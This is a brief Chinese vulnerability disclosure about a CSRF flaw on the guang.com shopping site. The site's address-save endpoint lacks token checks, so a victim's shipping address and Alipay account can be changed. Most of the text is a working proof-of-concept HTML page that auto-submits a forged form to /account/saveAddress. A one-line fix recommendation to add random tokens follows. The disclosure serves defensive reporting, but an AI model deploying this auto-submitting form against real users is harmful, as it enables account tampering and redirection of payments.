guang测试数据改收货地址的地方没有验证token，收货地址、支付宝任意改。
POC:
< html >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><body>
<form name="csrf" action="http://guang测试数据/account/saveAddress" method="POST">
<input type=text name=trueName value="啊啊"></input>
<input type=text name=province value="北京市"></input>
<input type=text name=city value="东城区"></input>
<input type=text name=addressDetail value="乌云区乌云路1号乌云小区1栋1单元101"></input>
<input type=text name=cellphone value="13888882255"></input>
<input type=text name=alipay value="root@wooyun.org"></input>
<input type="submit" value="submit" />
</form>
<script>
document.csrf.submit();
</script>
</body>
</html>
http://email.smtp.yupage测试数据/guang.htm
修复方案： 其他地方绝对也有这种情况，一定要加上随机token
查看更多关于CSRF系列3-guang.com收货地址任意改 - 网站安全 - 自的详细内容...